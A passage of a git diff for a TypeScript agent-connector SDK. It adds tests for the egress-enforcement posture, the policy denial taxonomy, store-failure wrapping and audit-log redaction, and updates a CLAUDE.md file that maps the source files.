+    this.policyKind = CONNECTOR_DECISIONS[code].policyKind;
+    this.retryable = CONNECTOR_DECISIONS[code].retryable;
+    registerDecision(
+      this,
+      this.kind,
+      this.code,
+      'connector invocation boundary failed',
+    );
+  }
+}
diff --git a/packages/breakwater/src/connector-sdk/CLAUDE.md b/packages/breakwater/src/connector-sdk/CLAUDE.md
index 9041217e..145e2377 100644
--- a/packages/breakwater/src/connector-sdk/CLAUDE.md
+++ b/packages/breakwater/src/connector-sdk/CLAUDE.md
@@ -1,6 +1,10 @@
 # Connector SDK navigation
 
-- `index.ts`: permission manifest and enforced tool wrapper
+- `index.ts`: connector construction and the enforced tool wrapper
+- `contracts.ts`: the manifest, store, policy and connector declarations the siblings share
+- `egress-posture.ts`: resolves the omitted `egressEnforcement` default
+- `egress-conformance.ts`: case-scoped proof that a connector's traffic stays inside the guarded fetch; unrelated to `packages/agent-starter/conformance/`, which is a deployment conformance suite for the starter's Worker configuration
+- `egress-conformance.fixtures.ts`: the manifests and cases the conformance suites drive
 - `egress-fetch.ts`: per-hop runtime fetch enforcement
 - `d1-idempotency-store.ts`: durable atomic replay protection
 - `d1-rate-limit-store.ts`: shared fixed-window counters
diff --git a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts
index 9aed93e4..b4434a87 100644
--- a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts
+++ b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts
@@ -26,9 +26,13 @@ import {
   CONNECTOR_GRANTS_CONTEXT_KEY,
   type Connector,
   type ConnectorConfig,
+  ConnectorEvaluatorError,
+  ConnectorInvocationError,
   type ConnectorInvocationOptions,
   ConnectorPolicyError,
+  ConnectorStoreError,
   ConnectorValidationError,
+  connectorEgressPosture,
   connectorManifest,
   createConnector as createConnectorBase,
   DRY_RUN_CONTEXT_KEY,
@@ -40,6 +44,7 @@ import {
   InMemoryRateLimitStore,
   invokeConnector,
 } from './index.js';
+import { replaceConnectorInvocation } from './invocation-registry.js';
 
 // Most tests exercise post-migration behavior. Migration-boundary tests call
 // createConnectorBase directly so absence of the explicit acknowledgement and
@@ -318,6 +323,257 @@ function makeConnector(
   return { tool, execute };
 }
 
+describe('connector egress posture', () => {
+  it('carries a declared egressEnforcement onto the frozen manifest', () => {
+    // #given
+    for (const egressEnforcement of ['enforced', 'declaration-only'] as const) {
+      const permissions = { sideEffect: 'read' as const, egressEnforcement };
+      // #when
+      const { tool } = makeConnector({ permissions });
+      const manifest = connectorManifest(tool);
+      // #then
+      expect(manifest).toEqual({ ...permissions, egress: [] });
+      expect(Object.isFrozen(manifest)).toBe(true);
+      expect(manifest).not.toBe(permissions);
+    }
+  });
+
+  it('leaves egressEnforcement absent from the manifest when it is not declared', () => {
+    // #given / #when
+    const { tool } = makeConnector({ permissions: { sideEffect: 'read' } });
+    // #then
+    expect(connectorManifest(tool)).toEqual({ sideEffect: 'read', egress: [] });
+    expect(connectorManifest(tool)).not.toHaveProperty('egressEnforcement');
+  });
+
+  it('resolves an undeclared posture to declaration-only', () => {
+    // #given / #when
+    const { tool } = makeConnector({ permissions: { sideEffect: 'read' } });
+    // #then
+    expect(connectorEgressPosture(tool)).toBe('declaration-only');
+  });
+
+  it('resolves a declared enforced posture to enforced', () => {
+    // #given / #when
+    const { tool } = makeConnector({
+      permissions: { sideEffect: 'read', egressEnforcement: 'enforced' },
+    });
+    // #then
+    expect(connectorEgressPosture(tool)).toBe('enforced');
+  });
+
+  it('returns undefined for a tool createConnector did not build', () => {
+    // #given
+    const tool = createTool({
+      id: 'plain.read',
+      description: 'Read without a connector manifest',
+      execute: async () => ({ ok: true }),
+    });
+    // #when / #then
+    expect(connectorEgressPosture(tool)).toBeUndefined();
+    expect(connectorEgressPosture({})).toBeUndefined();
+  });
+
+  it('refuses an egressEnforcement value outside the two literals at construction', () => {
+    // #given
+    for (const value of ['Enforced', '', null, true, false, 0, {}, []]) {
+      const permissions = {
+        sideEffect: 'read',
+        egressEnforcement: value,
+      } as unknown as ConnectorConfig['permissions'];
+      // #when / #then
+      expect(() => makeConnector({ permissions })).toThrow(TypeError);
+      expect(() => makeConnector({ permissions })).toThrow(
+        "permissions.egressEnforcement must be 'enforced' or 'declaration-only'",
+      );
+    }
+  });
+
+  it('refuses construction when requireEgressEnforcement meets an undeclared posture', () => {
+    // #given
+    const config = {
+      permissions: { sideEffect: 'read' as const },
+      policies: { requireEgressEnforcement: true as const },
+    };
+    // #when / #then
+    expect(() => makeConnector(config)).toThrow(TypeError);
+    expect(() => makeConnector(config)).toThrow(/requireEgressEnforcement/);
+  });
+
+  it('refuses construction when requireEgressEnforcement meets declaration-only', () => {
+    // #given
+    const config = {
+      permissions: {
+        sideEffect: 'read' as const,
+        egressEnforcement: 'declaration-only' as const,
+      },
+      policies: { requireEgressEnforcement: true as const },
+    };
+    // #when / #then
+    expect(() => makeConnector(config)).toThrow(TypeError);
+    expect(() => makeConnector(config)).toThrow(/requireEgressEnforcement/);
+  });
+
+  it('admits construction when requireEgressEnforcement meets an enforced posture', () => {
+    // #given / #when
+    const { tool } = makeConnector({
+      permissions: { sideEffect: 'read', egressEnforcement: 'enforced' },
+      policies: { requireEgressEnforcement: true },
+    });
+    // #then
+    expect(connectorEgressPosture(tool)).toBe('enforced');
+  });
+
+  it('admits a declaration-only connector when the deployment sets no posture requirement', () => {
+    // #given / #when
+    const { tool } = makeConnector({
+      permissions: {
+        sideEffect: 'read',
+        egressEnforcement: 'declaration-only',
+      },
+    });
+    // #then
+    expect(connectorEgressPosture(tool)).toBe('declaration-only');
+  });
+
+  it('gates a manifest declaring egress hosts on its posture, not on the hosts', () => {
+    // #given
+    const egress = ['api.example.com'];
+    const policies = { requireEgressEnforcement: true as const };
+    // #when / #then — the same declared hosts, refused under 'declaration-only'
+    // and admitted under 'enforced'.
+    expect(() =>
+      makeConnector({
+        permissions: {
+          sideEffect: 'read',
+          egress,
+          egressEnforcement: 'declaration-only',
+        },
+        policies,
+      }),
+    ).toThrow(/requireEgressEnforcement/);
+    const { tool } = makeConnector({
+      permissions: {
+        sideEffect: 'read',
+        egress,
+        egressEnforcement: 'enforced',
+      },
+      policies,
+    });
+    expect(connectorEgressPosture(tool)).toBe('enforced');
+    expect(connectorManifest(tool)?.egress).toEqual(egress);
+  });
+
+  it('audits the posture connectorEgressPosture reads back', async () => {
+    // #given
+    for (const declared of [
+      undefined,
+      'enforced',
+      'declaration-only',
+    ] as const) {
+      const audit = new AuditLogger();
+      const { tool } = makeConnector({
+        permissions: {
+          sideEffect: 'read',
+          ...(declared === undefined ? {} : { egressEnforcement: declared }),
+        },
+        policies: { audit },
+      });
+      // #when
+      await expect(run(tool, input)).resolves.toEqual({ ok: true });
+      // #then — one resolution serves the readback and the audit detail.
+      expect(audit.events()[0]?.detail).toMatchObject({
+        egressEnforcement: connectorEgressPosture(tool),
+      });
+    }
+  });
+
+  it('records the resolved posture on an allowed connector decision', async () => {
+    // #given
+    for (const egressEnforcement of [
+      undefined,
+      'enforced',
+      'declaration-only',
+    ] as const) {
+      const audit = new AuditLogger();
+      const permissions = {
+        sideEffect: 'read' as const,
+        ...(egressEnforcement === undefined ? {} : { egressEnforcement }),
+      };
+      const { tool } = makeConnector({ permissions, policies: { audit } });
+      const error = registerSafeAuditError(new Error('private failure'), {
+        reason: 'registered failure',
+        detail: {
+          egressEnforcement:
+            egressEnforcement === 'enforced' ? 'declaration-only' : 'enforced',
+        },
+      });
+      const failing = makeConnector({
+        permissions,
+        policies: { audit },
+        execute: async () => {
+          throw error;
+        },
+      }).tool;
+      // #when
+      await expect(run(tool, input)).resolves.toEqual({ ok: true });
+      await expect(run(failing, input)).rejects.toBe(error);
+      // #then
+      expect(audit.events()).toMatchObject([
+        {
+          decision: 'allowed',
+          decisionCode: 'CONNECTOR_ALLOWED',
+          detail: {
+            egressEnforcement: egressEnforcement ?? 'declaration-only',
+          },
+        },
+        {
+          decision: 'error',
+          reason: 'registered failure',
+          detail: {
+            stage: 'execute',
+            egressEnforcement: egressEnforcement ?? 'declaration-only',
+          },
+        },
+      ]);
+    }
+  });
+
+  it('records the resolved posture on a denied connector decision', async () => {
+    // #given
+    for (const egressEnforcement of [
+      undefined,
+      'enforced',
+      'declaration-only',
+    ] as const) {
+      const audit = new AuditLogger();
+      const { tool, execute } = makeConnector({
+        permissions: {
+          sideEffect: 'write',
+          requiresApproval: true,
+          ...(egressEnforcement === undefined ? {} : { egressEnforcement }),
+        },
+        policies: { audit },
+      });
+      // #when
+      await expect(run(tool, input)).rejects.toBeInstanceOf(
+        ConnectorPolicyError,
+      );
+      // #then
+      expect(execute).not.toHaveBeenCalled();
+      expect(audit.events()).toMatchObject([
+        {
+          decision: 'denied',
+          decisionCode: 'APPROVAL_GRANT_MISSING',
+          detail: {
+            egressEnforcement: egressEnforcement ?? 'declaration-only',
+          },
+        },
+      ]);
+    }
+  });
+});
+
 describe('connector id validation', () => {
   it("rejects an id containing ':' because the unchanged rate-budget tuple needs a colon-free final component", () => {
     // #given / #when — active rate-limit windows retain the legacy
@@ -1186,7 +1442,7 @@ describe('invokeConnector', () => {
     expect(execute).not.toHaveBeenCalled();
   });
 
-  it('rethrows connector policy and application errors unchanged', async () => {
+  it('wraps evaluator throws and preserves application error identity', async () => {
     const policyError = new ConnectorPolicyError(
       'direct.policy-error',
       'custom-policy',
@@ -1208,7 +1464,10 @@ describe('invokeConnector', () => {
         ],
       },
     });
-    await expect(invokeConnector(policyTool, {})).rejects.toBe(policyError);
+    await expect(invokeConnector(policyTool, {})).rejects.toMatchObject({
+      code: 'EVALUATOR_FAILED',
+      cause: policyError,
+    });
 
     const applicationError = new Error('application-owned failure');
     const applicationTool = createConnector<unknown, unknown>({
@@ -1223,6 +1482,68 @@ describe('invokeConnector', () => {
       applicationError,
     );
   });
+
+  const unreadableConnectorId = 'direct.unreadable-connector';
+  it.each([
+    {
+      label:
+        'the connector policy error when its connector property cannot be read',
+      id: unreadableConnectorId,
+      description:
+        'Throw a policy error whose connector property cannot be read',
+      hostile: new Proxy(
+        new ConnectorPolicyError(
+          unreadableConnectorId,
+          'custom-policy',
+          'application-owned denial',
+        ),
+        {
+          get(target, key, receiver) {
+            if (key === 'connector') throw new Error('trap');
+            return Reflect.get(target, key, receiver);
+          },
+        },
+      ),
+    },
+    {
+      label: 'the connector value when its prototype chain cannot be read',
+      id: 'direct.unreadable-prototype',
+      description: 'Throw a value whose prototype chain cannot be read',
+      hostile: new Proxy(
+        { marker: 'unreadable-prototype' },
+        {
+          getPrototypeOf(): never {
+            throw new Error('prototype unreadable');
+          },
+        },
+      ),
+    },
+  ])('rejects with $label', async ({ id, description, hostile }) => {
+    // #given
+    const audit = new AuditLogger();
+    const tool = createConnector<unknown, unknown>({
+      id,
+      description,
+      execute: async () => {
+        throw hostile;
+      },
+      permissions: { sideEffect: 'read' },
+      policies: { audit },
+    });
+    // #when
+    const failure = await invokeConnector(tool, {}).catch(
+      (error: unknown) => error,
+    );
+    // #then
+    expect(failure).toBe(hostile);
+    expect(audit.events()).toEqual([
+      expect.objectContaining({
+        decision: 'error',
+        decisionCode: 'CONNECTOR_EXECUTION_FAILED',
+        detail: expect.objectContaining({ stage: 'execute' }),
+      }),
+    ]);
+  });
 });
 
 describe('network egress gate', () => {
@@ -1432,7 +1753,9 @@ describe('custom tool-boundary evaluators', () => {
       },
     });
     // #when / #then
-    await expect(run(tool, input)).rejects.toThrow(PRIVATE_BACKEND_SENTINEL);
+    await expect(run(tool, input)).rejects.toMatchObject({
+      cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }),
+    });
     expect(execute).not.toHaveBeenCalled();
     expect(audit.events()).toMatchObject([
       {
@@ -2548,12 +2871,15 @@ describe('idempotency', () => {
     // #when / #then
     await expect(
       run(tool, input, makeContext({ idempotencyKey: 'k1' })),
-    ).rejects.toThrow(PRIVATE_BACKEND_SENTINEL);
+    ).rejects.toMatchObject({
+      code: 'STORE_UNAVAILABLE',
+      cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }),
+    });
     expect(execute).not.toHaveBeenCalled();
     expect(audit.events()).toMatchObject([
       {
         decision: 'error',
-        reason: 'idempotency store inspect failed',
+        reason: 'idempotency store get failed',
         detail: { stage: 'idempotency-store' },
       },
     ]);
@@ -3226,11 +3552,12 @@ describe('atomic idempotency (reserve path)', () => {
       },
     });
 
-    // #when / #then — the raw error propagates, execute never ran, and the
-    // reservation is released so the key stays retryable
     await expect(
       run(tool, input, makeContext({ idempotencyKey: 'k1' })),
-    ).rejects.toThrow('counter backend down');
+    ).rejects.toMatchObject({
+      code: 'STORE_UNAVAILABLE',
+      cause: expect.objectContaining({ message: 'counter backend down' }),
+    });
     expect(execute).not.toHaveBeenCalled();
     expect(store.release).toHaveBeenCalledWith(
       expect.stringMatching(/^bw2_i_u_[0-9a-f]+_[0-9a-f]+$/),
@@ -3269,15 +3596,20 @@ describe('atomic idempotency (reserve path)', () => {
       },
     });
 
-    // #when / #then — the caller receives an Error carrying the message
-    // (the primitive rides on `cause`), execute never ran
     const failure = await run(
       tool,
       input,
       makeContext({ idempotencyKey: 'k1' }),
     ).catch((error: unknown) => error);
-    expect(failure).toBeInstanceOf(Error);
-    expect((failure as Error).message).toBe('counter backend down (primitive)');
+    expect(failure).toBeInstanceOf(ConnectorStoreError);
+    expect(failure).toMatchObject({
+      code: 'STORE_UNAVAILABLE',
+      operation: 'increment',
+      retryable: true,
+    });
+    expect((failure as Error).message).not.toContain(
+      'counter backend down (primitive)',
+    );
     expect((failure as Error).cause).toBe('counter backend down (primitive)');
     expect(execute).not.toHaveBeenCalled();
     // #then — still exactly ONE audit record; no misattributed second
@@ -3323,7 +3655,10 @@ describe('atomic idempotency (reserve path)', () => {
     // #when / #then
     await expect(
       run(tool, input, makeContext({ idempotencyKey: 'k1' })),
-    ).rejects.toThrow(PRIVATE_BACKEND_SENTINEL);
+    ).rejects.toMatchObject({
+      code: 'STORE_UNAVAILABLE',
+      cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }),
+    });
     expect(execute).not.toHaveBeenCalled();
     expect(audit.events()).toMatchObject([
       {
@@ -3467,7 +3802,8 @@ describe('atomic idempotency (reserve path)', () => {
     for (const outcome of outcomes) {
       expect(outcome.status).toBe('rejected');
       expect((outcome as PromiseRejectedResult).reason).toMatchObject({
-        message: 'd1 reserve down',
+        code: 'STORE_UNAVAILABLE',
+        cause: expect.objectContaining({ message: 'd1 reserve down' }),
       });
     }
     expect(execute).not.toHaveBeenCalled();
@@ -3836,7 +4172,10 @@ describe('rate limit', () => {
       },
     });
     // #when / #then
-    await expect(run(tool, input)).rejects.toThrow(PRIVATE_BACKEND_SENTINEL);
+    await expect(run(tool, input)).rejects.toMatchObject({
+      code: 'STORE_UNAVAILABLE',
+      cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }),
+    });
     expect(execute).not.toHaveBeenCalled();
     expect(audit.events()).toMatchObject([
       {
@@ -4702,3 +5041,1038 @@ describe('_background model-override defense (DL-005)', () => {
     expect(resolved.runInBackground).toBe(false);
   });
 });
+
+describe('connector decision taxonomy', () => {
+  const denialCases: readonly {
+    label: string;
+    code: string;
+    policyKind: string;
+    retryable?: boolean;
+    config: Partial<ConnectorConfig>;
+    context?: () => ToolExecutionContext;
+    input?: unknown;
+    details?: Record<string, unknown>;
+  }[] = [
+    {
+      label: 'organization egress',
+      code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      policyKind: 'network-egress',
+      config: {
+        permissions: { sideEffect: 'read', egress: ['private.example.com'] },
+        policies: {
+          networkEgress: { name: 'renamed-egress', allowedDomains: [] },
+        },
+      },
+      details: { declaredHost: 'private.example.com' },
+    },
+    {
+      label: 'missing permission projection',
+      code: 'PERMISSION_PROJECTION_INVALID',
+      policyKind: 'required-permissions',
+      config: {
+        permissions: {
+          sideEffect: 'read',
+          requiredPermissions: ['contacts.write'],
+        },
+      },
+      details: { requiredPermissions: ['contacts.write'] },
+    },
+    {
+      label: 'missing required permission',
+      code: 'PERMISSION_MISSING',
+      policyKind: 'required-permissions',
+      config: {
+        permissions: {
+          sideEffect: 'read',
+          requiredPermissions: ['contacts.write', 'crm.access'],
+        },
+      },
+      context: () =>
+        makeContext({
+          principalPermissions: {
+            permissions: ['contacts.write', 'private.effective'],
+            policyVersion: 'v7',
+          },
+        }),
+      details: {
+        requiredPermissions: ['contacts.write', 'crm.access'],
+        missingPermissions: ['crm.access'],
+        permissionPolicyVersion: 'v7',
+      },
+    },
+    {
+      label: 'missing approval grant',
+      code: 'APPROVAL_GRANT_MISSING',
+      policyKind: 'write-permissions',
+      config: { permissions: { sideEffect: 'destructive' } },
+    },
+    {
+      label: 'rate exhausted',
+      code: 'RATE_LIMIT_EXCEEDED',
+      policyKind: 'rate-limit',
+      retryable: true,
+      config: {
+        permissions: { sideEffect: 'read', rateLimit: '1/min' },
+        policies: { rateLimitStore: { increment: () => 2 } },
+      },
+      details: { limit: 1, windowMs: 60_000 },
+    },
+    {
+      label: 'missing idempotency key',
+      code: 'IDEMPOTENCY_KEY_MISSING',
+      policyKind: 'idempotency',
+      config: {
+        permissions: { sideEffect: 'read', idempotencyKey: true },
+        policies: { idempotencyStore: new InMemoryIdempotencyStore() },
+      },
+    },
+    {
+      label: 'dry-run unavailable',
+      code: 'DRY_RUN_UNSUPPORTED',
+      policyKind: 'dry-run',
+      config: {},
+      context: () => makeContext({ dryRun: true }),
+    },
+    {
+      label: 'foreground override',
+      code: 'BACKGROUND_OVERRIDE_DENIED',
+      policyKind: 'background',
+      config: {},
+      input: { _background: { enabled: false } },
+    },
+    {
+      label: 'missing workflow scope',
+      code: 'WORKFLOW_SCOPE_MISSING',
+      policyKind: 'cross-workflow-isolation',
+      config: {
+        policies: {
+          evaluators: [
+            crossWorkflowIsolation({
+              name: 'renamed-workflow',
+              targetScopeOf: (call) =>
+                (call.input as { workflowId: string }).workflowId,
+            }),
+          ],
+        },
+      },
+      input: { workflowId: 'other' },
+    },
+    {
+      label: 'foreign workflow',
+      code: 'CROSS_WORKFLOW_ACCESS_DENIED',
+      policyKind: 'cross-workflow-isolation',
+      config: {
+        policies: {
+          evaluators: [
+            crossWorkflowIsolation({
+              name: 'renamed-workflow',
+              targetScopeOf: (call) =>
+                (call.input as { workflowId: string }).workflowId,
+            }),
+          ],
+        },
+      },
+      context: () => {
+        const context = makeContext();
+        context.requestContext?.set(WORKFLOW_SCOPE_CONTEXT_KEY, 'own');
+        return context;
+      },
+      input: { workflowId: 'other' },
+    },
+    {
+      label: 'missing isolation scope',
+      code: 'ISOLATION_SCOPE_MISSING',
+      policyKind: 'tenant-isolation',
+      config: {
+        policies: { evaluators: [tenantIsolation({ name: 'renamed-tenant' })] },
+      },
+    },
+    {
+      label: 'custom evaluator with built-in diagnostic name',
+      code: 'EVALUATOR_DENIED',
+      policyKind: 'evaluator',
+      config: {
+        policies: {
+          evaluators: [
+            {
+              name: 'network-egress',
+              evaluate: () => ({
+                allowed: false,
+                reason: 'custom diagnostic wording',
+              }),
+            },
+          ],
+        },
+      },
+    },
+  ];
+
+  it.each(denialCases)('matches the error and audit for $label', async ({
+    code,
+    policyKind,
+    retryable = false,
+    config,
+    context,
+    input: value,
+    details,
+  }) => {
+    const audit = new AuditLogger();
+    const execute = vi.fn(async () => 'executed');
+    const tool = createConnector({
+      id: 'taxonomy.denial',
+      description: 'Exercise a connector refusal',
+      permissions: { sideEffect: 'read' },
+      ...config,
+      policies: { ...config.policies, audit },
+      execute,
+    });
+    const error = await run(tool, value ?? {}, context?.()).catch(
+      (failure: unknown) => failure,
+    );
+    expect(error).toBeInstanceOf(ConnectorPolicyError);
+    expect(error).toMatchObject({
+      code,
+      policyKind,
+      retryable,
+      connector: 'taxonomy.denial',
+    });
+    expect((error as ConnectorPolicyError).details).toEqual(details);
+    expect(execute).not.toHaveBeenCalled();
+    expect(audit.events()).toHaveLength(1);
+    expect(audit.events()[0]).toMatchObject({
+      decision: 'denied',
+      decisionCode: code,
+      policyKind,
+      retryable,
+    });
+    expect(
+      JSON.stringify((error as ConnectorPolicyError).details ?? null),
+    ).not.toContain('private.effective');
+    expect(JSON.stringify(audit.events())).not.toContain('private.effective');
+  });
+
+  it.each([
+    [
+      'legacy pending',
+      'pending',
+      false,
+      true,
+      'IDEMPOTENCY_CONFLICT',
+      'idempotency',
+      true,
+    ],
+    [
+      'ambiguous legacy replay',
+      'replay',
+      true,
+      true,
+      'IDEMPOTENCY_LEGACY_AMBIGUOUS',
+      'idempotency-key-migration',
+      false,
+    ],
+    [
+      'migration unacknowledged',
+      'absent',
+      false,
+      false,
+      'IDEMPOTENCY_MIGRATION_REQUIRED',
+      'idempotency-key-migration',
+      false,
+    ],
+    [
+      'current reservation pending',
+      'absent',
+      false,
+      true,
+      'IDEMPOTENCY_CONFLICT',
+      'idempotency',
+      true,
+    ],
+  ] as const)('classifies %s without entering execute', async (_label, legacyState, ambiguous, acknowledged, code, policyKind, retryable) => {
+    const audit = new AuditLogger();
+    const execute = vi.fn(async () => 'executed');
+    const reserve = vi.fn(() => ({ state: 'pending' as const }));
+    const store = {
+      inspect: () =>
+        legacyState === 'replay'
+          ? { state: 'replay' as const, record: { result: 'legacy' } }
+          : { state: legacyState },
+      get: vi.fn(() => undefined),
+      reserve,
+      put: vi.fn(),
+      release: vi.fn(),
+    };
+    const tool = createConnectorBase({
+      id: 'taxonomy.pending',
+      description: 'Observe reservation refusal',
+      permissions: { sideEffect: 'read', idempotencyKey: true },
+      policies: {
+        audit,
+        idempotencyStore: store,
+        ...(acknowledged
+          ? { idempotencyKeyMigration: 'legacy-writers-drained' as const }
+          : {}),
+      },
+      execute,
+    });
+    const error = await run(
+      tool,
+      {},
+      makeContext({ idempotencyKey: ambiguous ? 'a:b' : 'k1' }),
+    ).catch((failure: unknown) => failure);
+    expect(error).toMatchObject({ code, policyKind, retryable });
+    expect(audit.events()).toMatchObject([
+      { decision: 'denied', decisionCode: code, policyKind, retryable },
+    ]);
+    expect(execute).not.toHaveBeenCalled();
+    expect(store.put).not.toHaveBeenCalled();
+    expect(store.release).not.toHaveBeenCalled();
+    expect(reserve).toHaveBeenCalledTimes(
+      legacyState === 'absent' && acknowledged ? 1 : 0,
+    );
+  });
+
+  it.each([
+    'increment',
+    'legacy-get',
+    'inspect',
+    'get',
+    'reserve',
+  ] as const)('wraps %s before execution with the original cause', async (phase) => {
+    for (const cause of [
+      new Error(PRIVATE_BACKEND_SENTINEL),
+      { secret: PRIVATE_BACKEND_SENTINEL },
+      PRIVATE_BACKEND_SENTINEL,
+      null,
+      undefined,
+    ]) {
+      const audit = new AuditLogger();
+      const execute = vi.fn(async () => 'executed');
+      const fail = () => {
+        throw cause;
+      };
+      const store = {
+        get: vi.fn((key: string) => {
+          if (
+            phase === 'legacy-get' ||
+            (phase === 'get' && key.startsWith('bw2_'))
+          )
+            return fail();
+          return undefined;
+        }),
+        put: vi.fn(),
+        ...(phase === 'inspect' || phase === 'reserve'
+          ? {
+              inspect: vi.fn(() => {
+                if (phase === 'inspect') return fail();
+                return { state: 'absent' as const };
+              }),
+            }
+          : {}),
+        ...(phase === 'reserve'
+          ? { reserve: vi.fn(fail), release: vi.fn() }
+          : {}),
+      };
+      const tool = createConnector({
+        id: 'taxonomy.store',
+        description: 'Observe store failure',
+        permissions: {
+          sideEffect: 'read',
+          ...(phase === 'increment'
+            ? { rateLimit: '1/min' }
+            : { idempotencyKey: true }),
+        },
+        policies: {
+          audit,
+          ...(phase === 'increment'
+            ? { rateLimitStore: { increment: fail } }
+            : { idempotencyStore: store }),
+        },
+        execute,
+      });
+      const error = await run(
+        tool,
+        {},
+        makeContext({ idempotencyKey: 'private-key' }),
+      ).catch((failure: unknown) => failure);
+      expect(error).toBeInstanceOf(ConnectorStoreError);
+      expect(error).toMatchObject({
+        code: 'STORE_UNAVAILABLE',
+        policyKind: 'store',
+        retryable: true,
+        operation: phase === 'legacy-get' ? 'get' : phase,
+        store: phase === 'increment' ? 'rate-limit' : 'idempotency',
+      });
+      expect((error as Error).cause).toBe(cause);
+      expect((error as Error).message).not.toContain(PRIVATE_BACKEND_SENTINEL);
+      expect(audit.events()).toMatchObject([
+        {
+          decision: 'error',
+          decisionCode: 'STORE_UNAVAILABLE',
+          policyKind: 'store',
+          retryable: true,
+        },
+      ]);
+      expect(JSON.stringify(audit.events())).not.toContain(
+        PRIVATE_BACKEND_SENTINEL,
+      );
+      expect(execute).not.toHaveBeenCalled();
+      expect(store.put).not.toHaveBeenCalled();
+    }
+  });
+
+  it.each([
+    false,
+    true,
+  ])('keeps successful output after put fails (atomic %s)', async (atomic) => {
+    const audit = new AuditLogger();
+    const cause = new Error(PRIVATE_BACKEND_SENTINEL);
+    const release = vi.fn();
+    const execute = vi.fn(async () => ({ value: 'completed' }));
+    const store = {
+      get: () => undefined,
+      put: vi.fn(() => {
+        throw cause;
+      }),
+      ...(atomic
+        ? {
+            inspect: () => ({ state: 'absent' as const }),
+            reserve: () => ({ state: 'reserved' as const, token: 'lease' }),
+            release,
+          }
+        : {}),
+    };
+    const tool = createConnector({
+      id: 'taxonomy.commit',
+      description: 'Retain completed result',
+      permissions: { sideEffect: 'read', idempotencyKey: true },
+      policies: { audit, idempotencyStore: store },
+      execute,
+    });
+    await expect(
+      run(tool, {}, makeContext({ idempotencyKey: 'same-logical-operation' })),
+    ).resolves.toEqual({ value: 'completed' });
+    expect(execute).toHaveBeenCalledTimes(1);
+    expect(store.put).toHaveBeenCalledTimes(1);
+    expect(release).not.toHaveBeenCalled();
+    expect(audit.events()).toMatchObject([
+      {
+        decision: 'error',
+        decisionCode: 'STORE_COMMIT_FAILED',
+        policyKind: 'store',
+        retryable: false,
+      },
+      {
+        decision: 'allowed',
+        decisionCode: 'CONNECTOR_ALLOWED',
+        policyKind: 'execution',
+        retryable: false,
+      },
+    ]);
+    expect(JSON.stringify(audit.events())).not.toContain(
+      PRIVATE_BACKEND_SENTINEL,
+    );
+  });
+
+  it('preserves the original execute failure after release fails', async () => {
+    const original = { arbitrary: 'application exception' };
+    const audit = new AuditLogger();
+    const store = {
+      get: () => undefined,
+      inspect: () => ({ state: 'absent' as const }),
+      reserve: () => ({ state: 'reserved' as const, token: 'lease' }),
+      put: vi.fn(),
+      release: vi.fn(() => {
+        throw PRIVATE_BACKEND_SENTINEL;
+      }),
+    };
+    const tool = createConnector({
+      id: 'taxonomy.release',
+      description: 'Preserve original failure',
+      permissions: { sideEffect: 'read', idempotencyKey: true },
+      policies: { audit, idempotencyStore: store },
+      execute: async () => {
+        throw original;
+      },
+    });
+    await expect(
+      run(tool, {}, makeContext({ idempotencyKey: 'same-key' })),
+    ).rejects.toBe(original);
+    expect(store.release).toHaveBeenCalledTimes(1);
+    expect(store.put).not.toHaveBeenCalled();
+    expect(audit.events()).toMatchObject([
+      {
+        decision: 'error',
+        decisionCode: 'STORE_RELEASE_FAILED',
+        policyKind: 'store',
+        retryable: false,
+      },
+      {
+        decision: 'error',
+        decisionCode: 'CONNECTOR_EXECUTION_FAILED',
+        policyKind: 'execution',
+        retryable: false,
+      },
+    ]);
+    expect(JSON.stringify(audit.events())).not.toContain(
+      PRIVATE_BACKEND_SENTINEL,
+    );
+  });
+
+  it.each([
+    { code: 'NOT_A_CODE' },
+    { code: 'CONNECTOR_ALLOWED' },
+    {
+      code: 'RATE_LIMIT_EXCEEDED',
+      details: { url: 'https://secret.example/path' },
+    },
+    { details: { host: 'example.com' } },
+    { code: 'EVALUATOR_DENIED', retryable: true },
+    { code: 'EVALUATOR_DENIED', policyKind: 'rate-limit' },
+    Object.create({ code: 'RATE_LIMIT_EXCEEDED' }) as object,
+    Object.defineProperty({}, 'code', {
+      get() {
+        throw new Error(PRIVATE_BACKEND_SENTINEL);
+      },
+    }),
+  ])('contains malformed evaluator metadata %# inside its failure boundary', async (metadata) => {
+    const audit = new AuditLogger();
+    const execute = vi.fn(async () => 'executed');
+    const decision = Object.defineProperties(
+      { allowed: false as const, reason: 'custom' },
+      Object.getOwnPropertyDescriptors(metadata),
+    );
+    Object.setPrototypeOf(decision, Object.getPrototypeOf(metadata));
+    const tool = createConnector({
+      id: 'taxonomy.evaluator',
+      description: 'Reject invalid decision metadata',
+      permissions: { sideEffect: 'read' },
+      policies: {
+        audit,
+        evaluators: [{ name: 'custom', evaluate: () => decision }],
+      },
+      execute,
+    });
+    const error = await run(tool, {}).catch((failure: unknown) => failure);
+    expect(error).toBeInstanceOf(ConnectorEvaluatorError);
+    expect(error).toMatchObject({
+      code: 'EVALUATOR_FAILED',
+      policyKind: 'evaluator',
+      retryable: false,
+      policy: 'custom',
+    });
+    expect((error as Error).cause).toBeInstanceOf(TypeError);
+    expect(execute).not.toHaveBeenCalled();
+    expect(audit.events()).toMatchObject([
+      {
+        decision: 'error',
+        decisionCode: 'EVALUATOR_FAILED',
+        policyKind: 'evaluator',
+        retryable: false,
+      },
+    ]);
+    expect(JSON.stringify(audit.events())).not.toContain('secret.example');
+    expect(JSON.stringify(audit.events())).not.toContain(
+      PRIVATE_BACKEND_SENTINEL,
+    );
+  });
+
+  it('captures evaluator metadata and reason once with its receiver intact', async () => {
+    const audit = new AuditLogger();
+    let receiver: unknown;
+    let reasonReads = 0;
+    const evaluator = {
+      name: 'custom-throttle',
+      evaluate() {
+        receiver = this;
+        return {
+          allowed: false as const,
+          get reason() {
+            reasonReads += 1;
+            return 'capacity';
+          },
+          code: 'RATE_LIMIT_EXCEEDED' as const,
+          details: { limit: 2, windowMs: 1000 },
+        };
+      },
+    };
+    const { tool, execute } = makeConnector({
+      policies: { audit, evaluators: [evaluator] },
